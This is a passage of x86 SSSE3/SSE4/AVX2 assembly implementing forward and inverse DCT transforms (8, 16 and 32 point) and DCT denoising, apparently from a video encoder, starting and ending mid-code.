movhps [r5 + 5 * 16], m4
pmaddwd m5, m6, [r4 + 96]
pmaddwd m4, m2, [r4 + 112]
paddd m5, m4 ; O[3]
paddd m4, m1, m5
psrad m4, 7
psubd m1, m5
psrad m1, 7
packssdw m4, m1
movh [r5 + 3 * 16], m4
movhps [r5 + 4 * 16], m4
ret
%macro PARTIAL_BUTTERFLY_PROCESS_ROW 1
pshufb m4, %1, [pb_idct8even]
pmaddwd m4, [tab_idct8_1]
phsubd m5, m4
pshufd m4, m4, 0x4E
phaddd m4, m4
punpckhqdq m4, m5 ;m4 = dd e[ 0 1 2 3]
paddd m4, m6
pshufb %1, %1, [r6]
pmaddwd m5, %1, [r4]
pmaddwd %1, [r4 + 16]
phaddd m5, %1 ; m5 = dd O[0, 1, 2, 3]
paddd %1, m4, m5
psrad %1, IDCT_SHIFT
psubd m4, m5
psrad m4, IDCT_SHIFT
pshufd m4, m4, 0x1B
packssdw %1, m4
%endmacro
INIT_XMM ssse3
cglobal patial_butterfly_inverse_internal_pass2
mova m0, [r5]
PARTIAL_BUTTERFLY_PROCESS_ROW m0
movu [r1], m0
mova m2, [r5 + 16]
PARTIAL_BUTTERFLY_PROCESS_ROW m2
movu [r1 + r2], m2
mova m1, [r5 + 32]
PARTIAL_BUTTERFLY_PROCESS_ROW m1
movu [r1 + 2 * r2], m1
mova m3, [r5 + 48]
PARTIAL_BUTTERFLY_PROCESS_ROW m3
movu [r1 + r3], m3
ret
INIT_XMM ssse3
cglobal idct8, 3,7,8 ;,0-16*mmsize
; alignment stack to 64-bytes
mov r5, rsp
sub rsp, 16*mmsize + gprsize
and rsp, ~(64-1)
mov [rsp + 16*mmsize], r5
mov r5, rsp
lea r4, [tab_idct8_3]
lea r6, [tab_dct4]
call patial_butterfly_inverse_internal_pass1
add r0, 8
add r5, 8
call patial_butterfly_inverse_internal_pass1
mova m6, [pd_ %+ IDCT_ROUND]
add r2, r2
lea r3, [r2 * 3]
lea r4, [tab_idct8_2]
lea r6, [pb_idct8odd]
sub r5, 8
call patial_butterfly_inverse_internal_pass2
lea r1, [r1 + 4 * r2]
add r5, 64
call patial_butterfly_inverse_internal_pass2
; restore origin stack pointer
mov rsp, [rsp + 16*mmsize]
RET
;-----------------------------------------------------------------------------
; void denoise_dct(int16_t* dct, uint32_t* sum, uint16_t* offset, int size)
;-----------------------------------------------------------------------------
INIT_XMM sse4
cglobal denoise_dct, 4, 4, 6
pxor m5, m5
shr r3d, 3
.loop:
movu m0, [r0]
pabsw m1, m0
movu m2, [r1]
pmovsxwd m3, m1
paddd m2, m3
movu [r1], m2
movu m2, [r1 + 16]
psrldq m3, m1, 8
pmovsxwd m4, m3
paddd m2, m4
movu [r1 + 16], m2
movu m3, [r2]
psubusw m1, m3
pcmpgtw m4, m1, m5
pand m1, m4
psignw m1, m0
movu [r0], m1
add r0, 16
add r1, 32
add r2, 16
dec r3d
jnz .loop
RET
INIT_YMM avx2
cglobal denoise_dct, 4, 4, 6
pxor m5, m5
shr r3d, 4
.loop:
movu m0, [r0]
pabsw m1, m0
movu m2, [r1]
pmovsxwd m4, xm1
paddd m2, m4
movu [r1], m2
vextracti128 xm4, m1, 1
movu m2, [r1 + 32]
pmovsxwd m3, xm4
paddd m2, m3
movu [r1 + 32], m2
movu m3, [r2]
psubusw m1, m3
pcmpgtw m4, m1, m5
pand m1, m4
psignw m1, m0
movu [r0], m1
add r0, 32
add r1, 64
add r2, 32
dec r3d
jnz .loop
RET
%if ARCH_X86_64 == 1
%macro DCT8_PASS_1 4
vpbroadcastq m0, [r6 + %1]
pmaddwd m2, m%3, m0
pmaddwd m0, m%4
phaddd m2, m0
paddd m2, m5
psrad m2, DCT8_SHIFT1
packssdw m2, m2
vpermq m2, m2, 0x08
mova [r5 + %2], xm2
%endmacro
%macro DCT8_PASS_2 2
vbroadcasti128 m4, [r6 + %1]
pmaddwd m6, m0, m4
pmaddwd m7, m1, m4
pmaddwd m8, m2, m4
pmaddwd m9, m3, m4
phaddd m6, m7
phaddd m8, m9
phaddd m6, m8
paddd m6, m5
psrad m6, DCT8_SHIFT2
vbroadcasti128 m4, [r6 + %2]
pmaddwd m10, m0, m4
pmaddwd m7, m1, m4
pmaddwd m8, m2, m4
pmaddwd m9, m3, m4
phaddd m10, m7
phaddd m8, m9
phaddd m10, m8
paddd m10, m5
psrad m10, DCT8_SHIFT2
packssdw m6, m10
vpermq m10, m6, 0xD8
%endmacro
INIT_YMM avx2
cglobal dct8, 3, 7, 11, 0-8*16
vbroadcasti128 m5, [pd_ %+ DCT8_ROUND1]
%define DCT_SHIFT2 9
add r2d, r2d
lea r3, [r2 * 3]
lea r4, [r0 + r2 * 4]
mov r5, rsp
lea r6, [tab_dct8]
mova m6, [dct8_shuf]
;pass1
mova xm0, [r0]
vinserti128 m0, m0, [r4], 1
mova xm1, [r0 + r2]
vinserti128 m1, m1, [r4 + r2], 1
mova xm2, [r0 + r2 * 2]
vinserti128 m2, m2, [r4 + r2 * 2], 1
mova xm3, [r0 + r3]
vinserti128 m3, m3, [r4 + r3], 1
punpcklqdq m4, m0, m1
punpckhqdq m0, m1
punpcklqdq m1, m2, m3
punpckhqdq m2, m3
pshufb m0, m6
pshufb m2, m6
paddw m3, m4, m0
paddw m7, m1, m2
psubw m4, m0
psubw m1, m2
DCT8_PASS_1 0 * 16, 0 * 16, 3, 7
DCT8_PASS_1 1 * 16, 2 * 16, 4, 1
DCT8_PASS_1 2 * 16, 4 * 16, 3, 7
DCT8_PASS_1 3 * 16, 6 * 16, 4, 1
DCT8_PASS_1 4 * 16, 1 * 16, 3, 7
DCT8_PASS_1 5 * 16, 3 * 16, 4, 1
DCT8_PASS_1 6 * 16, 5 * 16, 3, 7
DCT8_PASS_1 7 * 16, 7 * 16, 4, 1
;pass2
vbroadcasti128 m5, [pd_ %+ DCT8_ROUND2]
mova m0, [r5]
mova m1, [r5 + 32]
mova m2, [r5 + 64]
mova m3, [r5 + 96]
DCT8_PASS_2 0 * 16, 1 * 16
movu [r1], m10
DCT8_PASS_2 2 * 16, 3 * 16
movu [r1 + 32], m10
DCT8_PASS_2 4 * 16, 5 * 16
movu [r1 + 64], m10
DCT8_PASS_2 6 * 16, 7 * 16
movu [r1 + 96], m10
RET
%macro DCT16_PASS_1_E 2
vpbroadcastq m7, [r7 + %1]
pmaddwd m4, m0, m7
pmaddwd m6, m2, m7
phaddd m4, m6
paddd m4, m9
psrad m4, DCT_SHIFT
packssdw m4, m4
vpermq m4, m4, 0x08
mova [r5 + %2], xm4
%endmacro
%macro DCT16_PASS_1_O 2
vbroadcasti128 m7, [r7 + %1]
pmaddwd m10, m0, m7
pmaddwd m11, m2, m7
phaddd m10, m11 ; [d0 d0 d1 d1 d4 d4 d5 d5]
pmaddwd m11, m4, m7
pmaddwd m12, m6, m7
phaddd m11, m12 ; [d2 d2 d3 d3 d6 d6 d7 d7]
phaddd m10, m11 ; [d0 d1 d2 d3 d4 d5 d6 d7]
paddd m10, m9
psrad m10, DCT_SHIFT
packssdw m10, m10 ; [w0 w1 w2 w3 - - - - w4 w5 w6 w7 - - - -]
vpermq m10, m10, 0x08
mova [r5 + %2], xm10
%endmacro
%macro DCT16_PASS_2 2
vbroadcasti128 m8, [r7 + %1]
vbroadcasti128 m13, [r8 + %1]
pmaddwd m10, m0, m8
pmaddwd m11, m1, m13
paddd m10, m11
pmaddwd m11, m2, m8
pmaddwd m12, m3, m13
paddd m11, m12
phaddd m10, m11
pmaddwd m11, m4, m8
pmaddwd m12, m5, m13
paddd m11, m12
pmaddwd m12, m6, m8
pmaddwd m13, m7, m13
paddd m12, m13
phaddd m11, m12
phaddd m10, m11
paddd m10, m9
psrad m10, DCT_SHIFT2
vbroadcasti128 m8, [r7 + %2]
vbroadcasti128 m13, [r8 + %2]
pmaddwd m14, m0, m8
pmaddwd m11, m1, m13
paddd m14, m11
pmaddwd m11, m2, m8
pmaddwd m12, m3, m13
paddd m11, m12
phaddd m14, m11
pmaddwd m11, m4, m8
pmaddwd m12, m5, m13
paddd m11, m12
pmaddwd m12, m6, m8
pmaddwd m13, m7, m13
paddd m12, m13
phaddd m11, m12
phaddd m14, m11
paddd m14, m9
psrad m14, DCT_SHIFT2
packssdw m10, m14
vextracti128 xm14, m10, 1
movlhps xm15, xm10, xm14
movhlps xm14, xm10
%endmacro
INIT_YMM avx2
cglobal dct16, 3, 9, 16, 0-16*mmsize
%if BIT_DEPTH == 12
%define DCT_SHIFT 7
vbroadcasti128 m9, [pd_64]
%elif BIT_DEPTH == 10
%define DCT_SHIFT 5
vbroadcasti128 m9, [pd_16]
%elif BIT_DEPTH == 8
%define DCT_SHIFT 3
vbroadcasti128 m9, [pd_4]
%else
%error Unsupported BIT_DEPTH!
%endif
%define DCT_SHIFT2 10
add r2d, r2d
mova m13, [dct16_shuf1]
mova m14, [dct16_shuf2]
lea r7, [tab_dct16_1 + 8 * 16]
lea r8, [tab_dct16_2 + 8 * 16]
lea r3, [r2 * 3]
mov r5, rsp
mov r4d, 2 ; Each iteration process 8 rows, so 16/8 iterations
.pass1:
lea r6, [r0 + r2 * 4]
movu m2, [r0]
movu m1, [r6]
vperm2i128 m0, m2, m1, 0x20 ; [row0lo row4lo]
vperm2i128 m1, m2, m1, 0x31 ; [row0hi row4hi]
movu m4, [r0 + r2]
movu m3, [r6 + r2]
vperm2i128 m2, m4, m3, 0x20 ; [row1lo row5lo]
vperm2i128 m3, m4, m3, 0x31 ; [row1hi row5hi]
movu m6, [r0 + r2 * 2]
movu m5, [r6 + r2 * 2]
vperm2i128 m4, m6, m5, 0x20 ; [row2lo row6lo]
vperm2i128 m5, m6, m5, 0x31 ; [row2hi row6hi]
movu m8, [r0 + r3]
movu m7, [r6 + r3]
vperm2i128 m6, m8, m7, 0x20 ; [row3lo row7lo]
vperm2i128 m7, m8, m7, 0x31 ; [row3hi row7hi]
pshufb m1, m13
pshufb m3, m13
pshufb m5, m13
pshufb m7, m13
paddw m8, m0, m1 ;E
psubw m0, m1 ;O
paddw m1, m2, m3 ;E
psubw m2, m3 ;O
paddw m3, m4, m5 ;E
psubw m4, m5 ;O
paddw m5, m6, m7 ;E
psubw m6, m7 ;O
DCT16_PASS_1_O -7 * 16, 1 * 32
DCT16_PASS_1_O -5 * 16, 3 * 32
DCT16_PASS_1_O -3 * 16, 1 * 32 + 16
DCT16_PASS_1_O -1 * 16, 3 * 32 + 16
DCT16_PASS_1_O 1 * 16, 5 * 32
DCT16_PASS_1_O 3 * 16, 7 * 32
DCT16_PASS_1_O 5 * 16, 5 * 32 + 16
DCT16_PASS_1_O 7 * 16, 7 * 32 + 16
pshufb m8, m14
pshufb m1, m14
phaddw m0, m8, m1
pshufb m3, m14
pshufb m5, m14
phaddw m2, m3, m5
DCT16_PASS_1_E -8 * 16, 0 * 32
DCT16_PASS_1_E -4 * 16, 0 * 32 + 16
DCT16_PASS_1_E 0 * 16, 4 * 32
DCT16_PASS_1_E 4 * 16, 4 * 32 + 16
phsubw m0, m8, m1
phsubw m2, m3, m5
DCT16_PASS_1_E -6 * 16, 2 * 32
DCT16_PASS_1_E -2 * 16, 2 * 32 + 16
DCT16_PASS_1_E 2 * 16, 6 * 32
DCT16_PASS_1_E 6 * 16, 6 * 32 + 16
lea r0, [r0 + 8 * r2]
add r5, 256
dec r4d
jnz .pass1
mov r5, rsp
mov r4d, 2
mov r2d, 32
lea r3, [r2 * 3]
vbroadcasti128 m9, [pd_512]
.pass2:
mova m0, [r5 + 0 * 32] ; [row0lo row4lo]
mova m1, [r5 + 8 * 32] ; [row0hi row4hi]
mova m2, [r5 + 1 * 32] ; [row1lo row5lo]
mova m3, [r5 + 9 * 32] ; [row1hi row5hi]
mova m4, [r5 + 2 * 32] ; [row2lo row6lo]
mova m5, [r5 + 10 * 32] ; [row2hi row6hi]
mova m6, [r5 + 3 * 32] ; [row3lo row7lo]
mova m7, [r5 + 11 * 32] ; [row3hi row7hi]
DCT16_PASS_2 -8 * 16, -7 * 16
movu [r1], xm15
movu [r1 + r2], xm14
DCT16_PASS_2 -6 * 16, -5 * 16
movu [r1 + r2 * 2], xm15
movu [r1 + r3], xm14
lea r6, [r1 + r2 * 4]
DCT16_PASS_2 -4 * 16, -3 * 16
movu [r6], xm15
movu [r6 + r2], xm14
DCT16_PASS_2 -2 * 16, -1 * 16
movu [r6 + r2 * 2], xm15
movu [r6 + r3], xm14
lea r6, [r6 + r2 * 4]
DCT16_PASS_2 0 * 16, 1 * 16
movu [r6], xm15
movu [r6 + r2], xm14
DCT16_PASS_2 2 * 16, 3 * 16
movu [r6 + r2 * 2], xm15
movu [r6 + r3], xm14
lea r6, [r6 + r2 * 4]
DCT16_PASS_2 4 * 16, 5 * 16
movu [r6], xm15
movu [r6 + r2], xm14
DCT16_PASS_2 6 * 16, 7 * 16
movu [r6 + r2 * 2], xm15
movu [r6 + r3], xm14
add r1, 16
add r5, 128
dec r4d
jnz .pass2
RET
%macro DCT32_PASS_1 4
vbroadcasti128 m8, [r7 + %1]
pmaddwd m11, m%3, m8
pmaddwd m12, m%4, m8
phaddd m11, m12
vbroadcasti128 m8, [r7 + %1 + 32]
vbroadcasti128 m10, [r7 + %1 + 48]
pmaddwd m12, m5, m8
pmaddwd m13, m6, m10
phaddd m12, m13
pmaddwd m13, m4, m8
pmaddwd m14, m7, m10
phaddd m13, m14
phaddd m12, m13
phaddd m11, m12
paddd m11, m9
psrad m11, DCT_SHIFT
vpermq m11, m11, 0xD8
packssdw m11, m11
movq [r5 + %2], xm11
vextracti128 xm10, m11, 1
movq [r5 + %2 + 64], xm10
%endmacro
%macro DCT32_PASS_2 1
mova m8, [r7 + %1]
mova m10, [r8 + %1]
pmaddwd m11, m0, m8
pmaddwd m12, m1, m10
paddd m11, m12
pmaddwd m12, m2, m8
pmaddwd m13, m3, m10
paddd m12, m13
phaddd m11, m12
pmaddwd m12, m4, m8
pmaddwd m13, m5, m10
paddd m12, m13
pmaddwd m13, m6, m8
pmaddwd m14, m7, m10
paddd m13, m14
phaddd m12, m13
phaddd m11, m12
vextracti128 xm10, m11, 1
paddd xm11, xm10
paddd xm11, xm9
psrad xm11, DCT_SHIFT2
packssdw xm11, xm11
%endmacro
INIT_YMM avx2
cglobal dct32, 3, 9, 16, 0-64*mmsize
%if BIT_DEPTH == 12
%define DCT_SHIFT 8
vpbroadcastq m9, [pd_128]
%elif BIT_DEPTH == 10
%define DCT_SHIFT 6
vpbroadcastq m9, [pd_32]
%elif BIT_DEPTH == 8
%define DCT_SHIFT 4
vpbroadcastq m9, [pd_8]
%else
%error Unsupported BIT_DEPTH!
%endif
%define DCT_SHIFT2 11
add r2d, r2d
lea r7, [tab_dct32_1]
lea r8, [tab_dct32_2]
lea r3, [r2 * 3]
mov r5, rsp
mov r4d, 8
mova m15, [dct16_shuf1]
.pass1:
movu m2, [r0]
movu m1, [r0 + 32]
pshufb m1, m15
vpermq m1, m1, 0x4E
psubw m7, m2, m1
paddw m2, m1
movu m1, [r0 + r2 * 2]
movu m0, [r0 + r2 * 2 + 32]
pshufb m0, m15
vpermq m0, m0, 0x4E
psubw m8, m1, m0
paddw m1, m0
vperm2i128 m0, m2, m1, 0x20 ; [row0lo row2lo] for E
vperm2i128 m3, m2, m1, 0x31 ; [row0hi row2hi] for E
pshufb m3, m15
psubw m1, m0, m3
paddw m0, m3
vperm2i128 m5, m7, m8, 0x20 ; [row0lo row2lo] for O
vperm2i128 m6, m7, m8, 0x31 ; [row0hi row2hi] for O
movu m4, [r0 + r2]
movu m2, [r0 + r2 + 32]
pshufb m2, m15
vpermq m2, m2, 0x4E
psubw m10, m4, m2
paddw m4, m2
movu m3, [r0 + r3]
movu m2, [r0 + r3 + 32]
pshufb m2, m15
vpermq m2, m2, 0x4E
psubw m11, m3, m2
paddw m3, m2
vperm2i128 m2, m4, m3, 0x20 ; [row1lo row3lo] for E
vperm2i128 m8, m4, m3, 0x31 ; [row1hi row3hi] for E
pshufb m8, m15
psubw m3, m2, m8
paddw m2, m8
vperm2i128 m4, m10, m11, 0x20 ; [row1lo row3lo] for O
vperm2i128 m7, m10, m11, 0x31 ; [row1hi row3hi] for O
DCT32_PASS_1 0 * 32, 0 * 64, 0, 2
DCT32_PASS_1 2 * 32, 2 * 64, 1, 3
DCT32_PASS_1 4 * 32, 4 * 64, 0, 2
DCT32_PASS_1 6 * 32, 6 * 64, 1, 3
DCT32_PASS_1 8 * 32, 8 * 64, 0, 2
DCT32_PASS_1 10 * 32, 10 * 64, 1, 3
DCT32_PASS_1 12 * 32, 12 * 64, 0, 2
DCT32_PASS_1 14 * 32, 14 * 64, 1, 3
DCT32_PASS_1 16 * 32, 16 * 64, 0, 2
DCT32_PASS_1 18 * 32, 18 * 64, 1, 3
DCT32_PASS_1 20 * 32, 20 * 64, 0, 2
DCT32_PASS_1 22 * 32, 22 * 64, 1, 3
DCT32_PASS_1 24 * 32, 24 * 64, 0, 2
DCT32_PASS_1 26 * 32, 26 * 64, 1, 3
DCT32_PASS_1 28 * 32, 28 * 64, 0, 2
DCT32_PASS_1 30 * 32, 30 * 64, 1, 3
add r5, 8
lea r0, [r0 + r2 * 4]
dec r4d
jnz .pass1
mov r2d, 64
lea r3, [r2 * 3]
mov r5, rsp
mov r4d, 8
vpbroadcastq m9, [pd_1024]
.pass2:
mova m0, [r5 + 0 * 64]
mova m1, [r5 + 0 * 64 + 32]
mova m2, [r5 + 1 * 64]
mova m3, [r5 + 1 * 64 + 32]
mova m4, [r5 + 2 * 64]
mova m5, [r5 + 2 * 64 + 32]
mova m6, [r5 + 3 * 64]
mova m7, [r5 + 3 * 64 + 32]
DCT32_PASS_2 0 * 32
movq [r1], xm11
DCT32_PASS_2 1 * 32
movq [r1 + r2], xm11
DCT32_PASS_2 2 * 32
movq [r1 + r2 * 2], xm11
DCT32_PASS_2 3 * 32
movq [r1 + r3], xm11
lea r6, [r1 + r2 * 4]
DCT32_PASS_2 4 * 32
movq [r6], xm11
DCT32_PASS_2 5 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 6 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 7 * 32
movq [r6 + r3], xm11
lea r6, [r6 + r2 * 4]
DCT32_PASS_2 8 * 32
movq [r6], xm11
DCT32_PASS_2 9 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 10 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 11 * 32
movq [r6 + r3], xm11
lea r6, [r6 + r2 * 4]
DCT32_PASS_2 12 * 32
movq [r6], xm11
DCT32_PASS_2 13 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 14 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 15 * 32
movq [r6 + r3], xm11
lea r6, [r6 + r2 * 4]
DCT32_PASS_2 16 * 32
movq [r6], xm11
DCT32_PASS_2 17 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 18 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 19 * 32
movq [r6 + r3], xm11
lea r6, [r6 + r2 * 4]
DCT32_PASS_2 20 * 32
movq [r6], xm11
DCT32_PASS_2 21 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 22 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 23 * 32
movq [r6 + r3], xm11
lea r6, [r6 + r2 * 4]
DCT32_PASS_2 24 * 32
movq [r6], xm11
DCT32_PASS_2 25 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 26 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 27 * 32
movq [r6 + r3], xm11
lea r6, [r6 + r2 * 4]
DCT32_PASS_2 28 * 32
movq [r6], xm11
DCT32_PASS_2 29 * 32
movq [r6 + r2], xm11
DCT32_PASS_2 30 * 32
movq [r6 + r2 * 2], xm11
DCT32_PASS_2 31 * 32
movq [r6 + r3], xm11
add r5, 256
add r1, 8
dec r4d
jnz .pass2
RET
%macro IDCT8_PASS_1 1
vpbroadcastd m7, [r5 + %1]
vpbroadcastd m10, [r5 + %1 + 4]
pmaddwd m5, m4, m7
pmaddwd m6, m0, m10
paddd m5, m6
vpbroadcastd m7, [r6 + %1]
vpbroadcastd m10, [r6 + %1 + 4]
pmaddwd m6, m1, m7
pmaddwd m3, m2, m10
paddd m6, m3
paddd m3, m5, m6
paddd m3, m11
psrad m3, IDCT_SHIFT1
psubd m5, m6
paddd m5, m11
psrad m5, IDCT_SHIFT1
vpbroadcastd m7, [r5 + %1 + 32]
vpbroadcastd m10, [r5 + %1 + 36]
pmaddwd m6, m4, m7
pmaddwd m8, m0, m10
paddd m6, m8
vpbroadcastd m7, [r6 + %1 + 32]
vpbroadcastd m10, [r6 + %1 + 36]
pmaddwd m8, m1, m7
pmaddwd m9, m2, m10
paddd m8, m9
paddd m9, m6, m8
paddd m9, m11
psrad m9, IDCT_SHIFT1
psubd m6, m8
paddd m6, m11
psrad m6, IDCT_SHIFT1
packssdw m3, m9
vpermq m3, m3, 0xD8
packssdw m6, m5
vpermq m6, m6, 0xD8
%endmacro
%macro IDCT8_PASS_2 0
punpcklqdq m2, m0, m1
punpckhqdq m0, m1
pmaddwd m3, m2, [r5]
pmaddwd m5, m2, [r5 + 32]
pmaddwd m6, m2, [r5 + 64]
pmaddwd m7, m2, [r5 + 96]
phaddd m3, m5
phaddd m6, m7
pshufb m3, [idct8_shuf2]
pshufb m6, [idct8_shuf2]
punpcklqdq m7, m3, m6
punpckhqdq m3, m6
pmaddwd m5, m0, [r6]
pmaddwd m6, m0, [r6 + 32]
pmaddwd m8, m0, [r6 + 64]
pmaddwd m9, m0, [r6 + 96]
phaddd m5, m6
phaddd m8, m9
pshufb m5, [idct8_shuf2]
pshufb m8, [idct8_shuf2]
punpcklqdq m6, m5, m8
punpckhqdq m5, m8
paddd m8, m7, m6
paddd m8, m12
psrad m8, IDCT_SHIFT2
psubd m7, m6
paddd m7, m12
psrad m7, IDCT_SHIFT2
pshufb m7, [idct8_shuf3]
packssdw m8, m7
paddd m9, m3, m5
paddd m9, m12
psrad m9, IDCT_SHIFT2
psubd m3, m5
paddd m3, m12
psrad m3, IDCT_SHIFT2
pshufb m3, [idct8_shuf3]
packssdw m9, m3
%endmacro
INIT_YMM avx2
cglobal idct8, 3, 7, 13, 0-8*16
%if BIT_DEPTH == 12
%define IDCT_SHIFT2 8
vpbroadcastd m12, [pd_128]
%elif BIT_DEPTH == 10
%define IDCT_SHIFT2 10
vpbroadcastd m12, [pd_512]
%elif BIT_DEPTH == 8
%define IDCT_SHIFT2 12
vpbroadcastd m12, [pd_2048]
%else
%error Unsupported BIT_DEPTH!
%endif
%define IDCT_SHIFT1 7
vbroadcasti128 m11, [pd_64]
mov r4, rsp
lea r5, [avx2_idct8_1]
lea r6, [avx2_idct8_2]
;pass1
mova m1, [r0 + 0 * 32] ; [0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1]
mova m0, [r0 + 1 * 32] ; [2 2 2 2 2 2 2 2 3 3 3 3 3 3 3 3]
vpunpcklwd m5, m1, m0 ; [0 2 0 2 0 2 0 2 1 3 1 3 1 3 1 3]
vpunpckhwd m1, m0 ; [0 2 0 2 0 2 0 2 1 3 1 3 1 3 1 3]
vinserti128 m4, m5, xm1, 1 ; [0 2 0 2 0 2 0 2 0 2 0 2 0 2 0 2]
vextracti128 xm2, m5, 1 ; [1 3 1 3 1 3 1 3]
vinserti128 m1, m1, xm2, 0 ; [1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3]
mova m2, [r0 + 2 * 32] ; [4 4 4 4 4 4 4 4 5 5 5 5 5 5 5 5]
mova m0, [r0 + 3 * 32] ; [6 6 6 6 6 6 6 6 7 7 7 7 7 7 7 7]
vpunpcklwd m5, m2, m0 ; [4 6 4 6 4 6 4 6 5 7 5 7 5 7 5 7]
vpunpckhwd m2, m0 ; [4 6 4 6 4 6 4 6 5 7 5 7 5 7 5 7]
vinserti128 m0, m5, xm2, 1 ; [4 6 4 6 4 6 4 6 4 6 4 6 4 6 4 6]
vextracti128 xm5, m5, 1 ; [5 7 5 7 5 7 5 7]
vinserti128 m2, m2, xm5, 0 ; [5 7 5 7 5 7 5 7 5 7 5 7 5 7 5 7]
mova m5, [idct8_shuf1]
vpermd m4, m5, m4
vpermd m0, m5, m0
vpermd m1, m5, m1
vpermd m2, m5, m2
IDCT8_PASS_1 0
mova [r4], m3
mova [r4 + 96], m6
IDCT8_PASS_1 64
mova [r4 + 32], m3
mova [r4 + 64], m6
;pass2
add r2d, r2d
lea r3, [r2 * 3]
mova m0, [r4]
mova m1, [r4 + 32]
IDCT8_PASS_2
vextracti128 xm3, m8, 1
mova [r1], xm8
mova [r1 + r2], xm3
vextracti128 xm3, m9, 1
mova [r1 + r2 * 2], xm9
mova [r1 + r3], xm3
lea r1, [r1 + r2 * 4]
mova m0, [r4 + 64]
mova m1, [r4 + 96]
IDCT8_PASS_2
vextracti128 xm3, m8, 1
mova [r1], xm8
mova [r1 + r2], xm3
vextracti128 xm3, m9, 1
mova [r1 + r2 * 2], xm9
mova [r1 + r3], xm3
RET
%macro IDCT_PASS1 2
vbroadcasti128 m5, [tab_idct16_2 + %1 * 16]
pmaddwd m9, m0, m5
pmaddwd m10, m7, m5
phaddd m9, m10
pmaddwd m10, m6, m5
pmaddwd m11, m8, m5
phaddd m10, m11
phaddd m9, m10
vbroadcasti128 m5, [tab_idct16_1 + %1 * 16]
pmaddwd m10, m1, m5
pmaddwd m11, m3, m5
phaddd m10, m11
pmaddwd m11, m4, m5
pmaddwd m12, m2, m5
phaddd m11, m12
phaddd m10, m11
paddd m11, m9, m10
paddd m11, m14
psrad m11, IDCT_SHIFT1
psubd m9, m10
paddd m9, m14
psrad m9, IDCT_SHIFT1
vbroadcasti128 m5, [tab_idct16_2 + %1 * 16 + 16]
pmaddwd m10, m0, m5
pmaddwd m12, m7, m5
phaddd m10, m12
pmaddwd m12, m6, m5
pmaddwd m13, m8, m5
phaddd m12, m13
phaddd m10, m12
vbroadcasti128 m5, [tab_idct16_1 + %1 * 16 + 16]
pmaddwd m12, m1, m5
pmaddwd m13, m3, m5
phaddd m12, m13
pmaddwd m13, m4, m5
pmaddwd m5, m2
phaddd m13, m5
phaddd m12, m13
paddd m5, m10, m12
paddd m5, m14
psrad m5, IDCT_SHIFT1
psubd m10, m12
paddd m10, m14
psrad m10, IDCT_SHIFT1
packssdw m11, m5
packssdw m9, m10
mova m10, [idct16_shuff]
mova m5, [idct16_shuff1]
vpermd m12, m10, m11
vpermd m13, m5, m9
mova [r3 + %1 * 16 * 2], xm12
mova [r3 + %2 * 16 * 2], xm13
vextracti128 [r3 + %2 * 16 * 2 + 32], m13, 1
vextracti128 [r3 + %1 * 16 * 2 + 32], m12, 1
%endmacro
;-------------------------------------------------------
; void idct16(const int16_t* src, int16_t* dst, intptr_t dstStride)
;-------------------------------------------------------
INIT_YMM avx2
cglobal idct16, 3, 7, 16, 0-16*mmsize
%if BIT_DEPTH == 12
%define IDCT_SHIFT2 8
vpbroadcastd m15, [pd_128]
%elif BIT_DEPTH == 10
%define IDCT_SHIFT2 10
vpbroadcastd m15, [pd_512]
%elif BIT_DEPTH == 8
%define IDCT_SHIFT2 12
vpbroadcastd m15, [pd_2048]
%else
%error Unsupported BIT_DEPTH!
%endif
%define IDCT_SHIFT1 7
vbroadcasti128 m14, [pd_64]
add r2d, r2d
mov r3, rsp
mov r4d, 2
.pass1:
movu xm0, [r0 + 0 * 32]
movu xm1, [r0 + 8 * 32]
punpckhqdq xm2, xm0, xm1
punpcklqdq xm0, xm1
vinserti128 m0, m0, xm2, 1
movu xm1, [r0 + 1 * 32]
movu xm2, [r0 + 9 * 32]
punpckhqdq xm3, xm1, xm2
punpcklqdq xm1, xm2
vinserti128 m1, m1, xm3, 1
movu xm2, [r0 + 2 * 32]
movu xm3, [r0 + 10 * 32]
punpckhqdq xm4, xm2, xm3
punpcklqdq xm2, xm3
vinserti128 m2, m2, xm4, 1
movu xm3, [r0 + 3 * 32]
movu xm4, [r0 + 11 * 32]
punpckhqdq xm5, xm3, xm4
punpcklqdq xm3, xm4
vinserti128 m3, m3, xm5, 1
movu xm4, [r0 + 4 * 32]
movu xm5, [r0 + 12 * 32]
punpckhqdq xm6, xm4, xm5
punpcklqdq xm4, xm5
vinserti128 m4, m4, xm6, 1
movu xm5, [r0 + 5 * 32]
movu xm6, [r0 + 13 * 32]
punpckhqdq xm7, xm5, xm6
punpcklqdq xm5, xm6
vinserti128 m5, m5, xm7, 1
movu xm6, [r0 + 6 * 32]
movu xm7, [r0 + 14 * 32]
punpckhqdq xm8, xm6, xm7
punpcklqdq xm6, xm7
vinserti128 m6, m6, xm8, 1
movu xm7, [r0 + 7 * 32]
movu xm8, [r0 + 15 * 32]
punpckhqdq xm9, xm7, xm8
punpcklqdq xm7, xm8
vinserti128 m7, m7, xm9, 1
punpckhwd m8, m0, m2 ;[8 10]
punpcklwd m0, m2 ;[0 2]
punpckhwd m2, m1, m3 ;[9 11]
punpcklwd m1, m3 ;[1 3]
punpckhwd m3, m4, m6 ;[12 14]
punpcklwd m4, m6 ;[4 6]
punpckhwd m6, m5, m7 ;[13 15]
punpcklwd m5, m7 ;[5 7]
punpckhdq m7, m0, m4 ;[02 22 42 62 03 23 43 63 06 26 46 66 07 27 47 67]
punpckldq m0, m4 ;[00 20 40 60 01 21 41 61 04 24 44 64 05 25 45 65]
punpckhdq m4, m8, m3 ;[82 102 122 142 83 103 123 143 86 106 126 146 87 107 127 147]
punpckldq m8, m3 ;[80 100 120 140 81 101 121 141 84 104 124 144 85 105 125 145]
punpckhdq m3, m1, m5 ;[12 32 52 72 13 33 53 73 16 36 56 76 17 37 57 77]
